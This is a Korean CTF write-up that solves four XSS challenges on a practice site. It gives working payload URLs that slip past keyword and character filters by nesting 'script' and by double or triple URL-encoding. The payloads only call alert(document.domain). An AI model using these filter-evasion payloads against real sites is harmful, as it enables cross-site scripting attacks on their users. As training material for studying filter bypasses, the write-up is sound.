CTF write_up/기타 CTF

[PlayTheWeb] XSS

ws1004 2019. 9. 18. 11:31

 

1번문제 입니다.  http://ptw.alonalab.kr/ctf/xss1.php

 

파라미터인 answer을 이용해서 <script>alert(document.domain)</script> 를 입력하면 되는 것 같습니다.

 

?answer=<script>alert(document.domain)</script> 를 입력해 보겠습니다.

 

 

script와 /가 필터링 되고 있네요

 

script -> scrscriptipt  ||  / -> %252f  로 변환해서 입력해 보겠습니다.

 

http://ptw.alonalab.kr/ctf/xss1.php?answer=%3Cscrscriptipt%3Ealert(document.domain)%3C%252fscrscriptipt%3E

 

 

 

2번 문제 입니다.  http://ptw.alonalab.kr/ctf/KcmPU.php

http://ptw.alonalab.kr/ctf/KcmPU.php?answer=%3Cscrscriptipt%3Ealert(document.domain)%3C%252fscrscriptipt%3E

위와 같이 입력을 해보니 다음과 같은 쿼리를 확인할 수 있습니다.

 

 

<>와 () 그리고 /가 다시 필터링이 됬다.

 

<(%3c) -> %253c

>(%3e) -> %253e

((%28) -> %2528

)(%29) -> %2529

/(%252f) -> %25%252f2f 

로 변환을 하면 될 것 같습니다.

 

http://ptw.alonalab.kr/ctf/KcmPU.php?answer=%253cscrscriptipt%253ealert%2528document.domain%2529%253c%25%252f2fscrscriptipt%253e

 

 

 

3번 문제입니다.  http://ptw.alonalab.kr/ctf/PGfCS.php

http://ptw.alonalab.kr/ctf/PGfCS.php?answer=%253cscrscriptipt%253ealert%2528document.domain%2529%253c%25%252f2fscrscriptipt%253e

위의 URL을 입력했을때 다음과 같은 쿼리가 나옵니다.

추가하는 파라미터 값은 바로전 단계에서 사용한 쿼리입니다.

 

 

<> 와 () 가 필터링 되기 때문에 한번더 적어줍니다.

 

http://ptw.alonalab.kr/ctf/PGfCS.php?answer=%25%253c3cscrscriptipt%25%253e3ealert%25%252828document.domain%25%252929%25%253c3c%25%252f2fscrscriptipt%25%253e3e

 

 

4번째 문제 입니다.  http://ptw.alonalab.kr/ctf/Ct0Rx.php

 

http://ptw.alonalab.kr/ctf/Ct0Rx.php?answer=%25%253c3cscrscriptipt%25%25%253e3e3ealert%25%252828document.domain%25%252929%25%253c3c%25%252f2fscrscriptipt%25%25%253e3e3e

를 입력했을때 아무런 값을 출력하지 않았습니다.

 

거의 게싱 수준으로 필터링값을 추가하고 빼기를 반복하다가 아래와 같은 페이로드 에서 flag를 얻을 수 있었습니다.

 

http://ptw.alonalab.kr/ctf/Ct0Rx.php?answer=%25%253c3cscrscriptipt%25%25%25%253e3e3e3ealert%25%25%25%2528282828document.domain%25%252929%25%253c3c%25%252f2fscrscriptipt%25%25%25%253e3e3e3e

 

필터링 되었던 문자는 > 와 (  입니다.